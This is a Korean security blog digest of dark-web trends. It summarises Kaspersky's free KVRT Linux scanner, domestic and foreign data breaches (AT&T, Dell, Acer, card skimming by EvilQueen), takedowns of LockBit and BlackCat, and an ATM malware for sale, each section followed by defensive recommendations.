- Kaspersky, 새로운 보안 도구 KVRT 무료 공개
> 실시간으로 멀웨어를 막아내는 도구는 아님
> 64비트 시스템만 지원하며 작동하려면 인터넷 연결이 필요
> 실행을 위해 루트 권한 필요하며, GUI, CLI 지원
스캔을 통해 이미 세상에 알려진 멀웨어나 익스플로잇을 탐지 및 치료
사용자는 매번 바이러스 백신 데이터베이스를 다운로드해야 함
삭제 또는 치료된 악성 파일의 복사본은  '/var/opt/KVRT2024_Data/Quarantine'(루트 사용자용)에 저장
> Linux 배포판, Red Hat Enterprise Linux, CentOS, Linux Mint, Ubuntu, SUSE, openSUSE, Debian 등에서 작동 확인

 

3. 참고

[1] https://www.boannews.com/media/view.asp?idx=130306&page=1&kind=1
[2] https://www.bleepingcomputer.com/news/software/kaspersky-releases-free-tool-that-scans-linux-for-known-threats/
[3] https://www.kaspersky.com/blog/kvrt-for-linux/51375/
[4] https://www.kaspersky.com/downloads/free-virus-removal-tool

국내 기업 자료 유출

1. 개요

- 랜섬웨어, 해킹 등으로 탈취한 자료 다크웹 유출 및 판매

 

2. 주요내용

- 인포스틸러에 의한 국내 주요 인터넷 강의 사이트 로그인 정보 및 계정 정보 4만 5천 건 다크웹 유출
>  로그인 정보 4만 5,352건, 사내 계정 정보 490건, 관련 문서 143건

 

- EvilQueen 해커조직, 국내 온라인 쇼핑몰 노려 7,089건 신용카드 정보 탈취
> 국내 온라인 쇼핑몰 웹사이트 50여개 결제창 위장해 이용자 정보 유출
> 플랫폼의 취약점과 여러 웹 취약점을 이용해 침투 후 피싱 페이지 삽입 (취약점이 확인된 구버전 PHP 사용, 2차 인증 없이 노출된 관리자 페이지, FTP 서비스 외부 오픈 등)
> 유출된 정보는 카드번호, CVC, 유효기간, 카드 비밀번호, 주민등록번호, 휴대폰 번호 등 금융정보

 

- 의료금융 플랫폼 개인정보 유출
> 2020년경 해킹으로 유출된 데이터가 공개
> 유·노출된 개인정보는 학교명, 학년, 직업, 계정정보(네이버, 네이트, 한메일 등) 등
> 현재 해당 플랫폼은 정보보호 전담조직이 없는 것으로 파악

 

- 다크웹에서 국내 자동차 부품기업 핵심자료 거래
> 랜섬웨어 공격으로 재무제표, 인사 파일, 금융 관련 자료 등 포함

 

3. 대응방안

- 이용자는 주기적 계정 비밀번호 변경, 2단계 인증 적용 등 보안 강화
- 추가적인 유출 방지를 위해 새로운 보안 절차 수립, 솔루션 도입, 내부 교육 등 진행
- 정기적 백업, 최신 패치 유지, 망 분리, 임직원 보안인식 제고 등 필요

 

해외 기업 자료 유출

1. 개요

- 해외 빅테크 기업의 데이터 유출 확인

 

2. 주요내용

- 하드웨어 제조업체 Acer, 필리핀 지부 데이터 유출
> 필리핀과 공급 계약을 맺고 있는 서드파티 업체로부터 사건이 시작
> 고객 데이터는 안전하며, 직원들의 개인정보가 탈취된 것으로 확인

 

- 통신사 AT&T, 7300만 고객 정보 유출
> 2019년까지 가입된 고객들의 사회 보장 번호를 포함한 각종 개인정보 및 민감 정보가 다크웹 유출
> 현재 AT&T 이용 고객 760만명, 과거 AT&T를 이용해본 적이 있는 고객 6,540만

 

- 전자제품 제조 및 판매업체 Dell, 고객 정보 유출
> 고객 정보를 저장 및 관리하고 있는 델 내부 포털이 침해되었으며, 피해자 수는 공개되지 않음
> 고객의 이름, 거주지 주소, 델에서의 구매 이력 유출

 

3. 대응방안

- 증가하는 SW 공급망 공격에 대한 주의 및 철저한 대응 필요 (SW 공급망 보안 가이드라인 1.0  참고)

 

국제 공조, 일부 다크웹 폐쇄

1. 개요

- 국제 공조로 사이버 범죄 그룹 폐쇄

 

2. 주요내용

- 국제 공조로 록빗, 블랙캣, 네메시스마켓, 브리치포럼즈 등 폐쇄
> 록빗, 블랙캣이 운영하던 공격 인프라, 웹사이트 폐쇄 및 복호화 키 확보 및 공유
> 사이버 범죄 대행 서비스 네메시스마켓, 브리치포럼즈 폐쇄

 

3. 대응방안

- 새롭게 등장하는 다크웹 포럼 등에 대한 대응책 강구 필요

 

새로운 유형의 ATM 멀웨어 등장

1. 개요

- 다크웹에서 높은 성공률을 보이는 새로운 ATM 멀웨어가 거래

 

2. 주요내용

- 유럽 내 ATM 기기의 99%, 전 세계 ATM 약 60%를 침해할 수 있는 ATM 멀웨어 3만 달러에 적극 광고
> ATM 한 대 당 3만 달러의 수익을 보장
> 침해 가능 제조사: Diebold Nixdorf, 효성, Oki, Bank of America, NCR, GRG, Hitachi 등

 

3. 대응방안

- 국내 ATM 기기 최신 보안 업데이트, 물리적 USB 포트 비활성화 등 점검 필요

'개인정보보호(법) > DDW' 카테고리의 다른 글

DDW 동향  (1) 2024.02.08
DDW 동향  (0) 2023.12.13
DDW 동향  (0) 2023.07.31
DDW 동향  (0) 2023.06.29
DDW 동향  (0) 2023.05.11

+ Recent posts